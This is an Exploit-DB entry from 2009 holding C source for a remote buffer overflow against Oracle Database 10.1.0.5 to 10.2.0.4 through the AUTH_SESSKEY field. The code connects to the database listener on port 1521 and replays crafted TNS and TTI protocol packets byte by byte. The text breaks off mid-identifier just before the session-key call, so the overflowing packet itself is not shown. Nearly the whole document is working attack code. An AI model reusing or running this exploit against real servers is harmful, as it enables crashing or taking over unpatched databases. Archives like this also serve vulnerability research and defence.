Exploit-DB #9905
Description: Oracle Database 10.1.0.5 < 10.2.0.4 - AUTH_SESSKEY Length Validation Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-10-30
Author: Dennis Yurichev

Exploit:
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <assert.h>

#include <string>

void s_send (SOCKET s, char *msg, DWORD size)
{
  int sent;

  printf ("s_send: begin: %d bytes\n", size);

  sent=send (s, (char*)msg, size, 0);

  if (sent==SOCKET_ERROR)
    {
      printf ("send() -> SOCKET_ERROR, WSAGetLastError=%d\n", WSAGetLastError());
    } else

    if (sent!=size)
      printf ("sent only %d bytes\n", sent);

  printf ("s_send: end\n");
};

void s_recv (SOCKET s)
{
  char buf[20000];
  int r;
  
  struct timeval t;
  fd_set fd;

  t.tv_sec=0;
  t.tv_usec=100000; // 100 ms

  printf ("s_recv: begin\n");

  FD_ZERO(&fd);
  FD_SET(s, &fd);

  if (select (0, &fd, 0, 0, &t))
    //   if (select (0, &fd, 0, 0, NULL))
    {
      r=recv (s, buf, 20000, 0);
      if (r!=0 && r!=-1)
	{
	  printf ("got %d bytes\n", r);
	}
      else
	{
	  printf ("connection lost, r=%d\n", r);
	};
    }
  else
    {
      printf ("select() returns zero\n");
    };
};

unsigned char NSPTCN[]=
  {
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x3A, 0x01, 0x2C, 0x00, 0x41, 0x20, 0x00,
    0x7F, 0xFF, 0xC6, 0x0E, 0x00, 0x00, 0x01, 0x00,
    0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x02, 0x00,
    //^^    ^^ cmd len
    0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00

  };

#define NSPTCN_HEADER_LEN 58

unsigned char NSPTDA[]=
  {
    0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
    //	  ^^    ^^ packet len
    0x00, 0x00
  };

#define NSPTDA_HEADER_LEN 10

void s_send_NSPTDA (SOCKET s, char *msg, int size)
{
  char * buf;
  int sz=size + NSPTDA_HEADER_LEN;

  buf=(char*)malloc (sz);

  NSPTDA[0]=( sz ) >> 8;
  NSPTDA[1]=( sz ) & 0xFF;

  memcpy (buf, NSPTDA, NSPTDA_HEADER_LEN);
  memcpy (buf + NSPTDA_HEADER_LEN, msg, size);

  printf ("s_send_NSPTDA: sending %d bytes...\n", sz);

  s_send (s, (char*)buf, sz);

  free (buf);
};

void s_send_TNS_command (SOCKET s, const char *cmd)
{
  unsigned char * pkt;
  int cmd_len=strlen (cmd);

  printf ("sending [%s]\n", cmd);
  printf ("len: %d\n", cmd_len);

  if (cmd_len<231)
    {

      int str_len=strlen(cmd);
      int pkt_len=str_len+58;

      pkt=(unsigned char*)malloc (str_len+58);

      memcpy (pkt, 
	      "\x00\x00\x00\x00\x01\x00\x00\x00"
	      // plenH, plenL
	      "\x01\x3A\x01\x2C\x00\x41\x20\x00"
	      "\x7F\xFF\xC6\x0E\x00\x00\x01\x00"
	      "\x00\x00\x00\x3A\x00\x00\x02\x00"
	      // cmdlenH cmdlenL
	      "\x61\x61\x00\x00\x00\x00\x00\x00"
	      "\x00\x00\x00\x00\x00\x00\x00\x00"
	      "\x00\x00\x00\x00\x00\x00\x00\x00"
	      "\x00\x00", 58);

      memcpy (pkt+58, cmd, str_len);

      pkt[1]=pkt_len&0xFF;
      pkt[0]=(pkt_len>>8)&0xFF;

      pkt[25]=str_len&0xFF;
      pkt[24]=(str_len>>8)&0xFF;

      s_send (s, (char*)pkt, pkt_len);

      free (pkt);

    }
  else
    {
      // something should be modified here in NSPTCN
      assert (0);
    };
};

bool try_host (char * h)
{
  struct  hostent *hp;
  WSADATA wsaData; 
  struct sockaddr_in sin;
  int r;
  struct timeval t;
  fd_set fd;
  SOCKET s;
  char pkt1318[1318];

  WSAStartup(MAKEWORD(1, 1), &wsaData);

  hp=gethostbyname (h);
  assert (hp!=NULL);

  s=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

  assert (s!=INVALID_SOCKET);

  {
    u_long on=1;
    assert (ioctlsocket(s, FIONBIO, &on) != -1);
  };

  sin.sin_family=AF_INET;
  sin.sin_port=htons(1521);
  memcpy(&sin.sin_addr, hp->h_addr, hp->h_length);

  r=connect(s, (struct sockaddr *)&sin, sizeof(sin));

  t.tv_sec=3;
  t.tv_usec=0;

  FD_ZERO(&fd);
  FD_SET(s, &fd);

  if (select (0, 0, &fd, 0, &t))
    {
      printf ("connected to %s\n", h);

      s_send_TNS_command (s, "(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=client.exe)(HOST=client_host)(USER=dennis)))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.115)(PORT=1521)))");

      // waiting for NSPTRS

      s_recv(s); 

      s_send_TNS_command (s, "(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=client.exe)(HOST=client_host)(USER=dennis)))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.115)(PORT=1521)))");

      // waiting for NSPTAC

      s_recv(s); 

      // send NA packet

      s_send (s, 
	      "\x00\x9C\x00\x00\x06\x00\x00\x00\x00\x00\xDE\xAD\xBE\xEF\x00\x92"
	      "\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00"
	      "\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71"
	      "\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00"
	      "\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00"
	      "\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00"
	      "\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00"
	      "\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A"
	      "\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00"
	      "\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
	      ,156);

      s_recv (s);

      // send TTIPRO

      s_send (s, 

	      "\x00\x25\x00\x00\x06\x00\x00\x00\x00\x00\x01\x06\x05\x04\x03\x02"
	      "\x01\x00\x49\x42\x4D\x50\x43\x2F\x57\x49\x4E\x5F\x4E\x54\x2D\x38"
	      "\x2E\x31\x2E\x30\x00"
	      , 37);

      s_recv (s);

      // send TTIDTY

      s_send (s, 

	      "\x00\x4B\x00\x00\x06\x00\x00\x00\x00\x00\x02\xB2\x00\xB2\x00\xD2"
	      "\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01"
	      "\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01"
	      "\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00"
	      "\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
	      , 75);

      s_recv (s);


      // call OSESSKEY

      s_s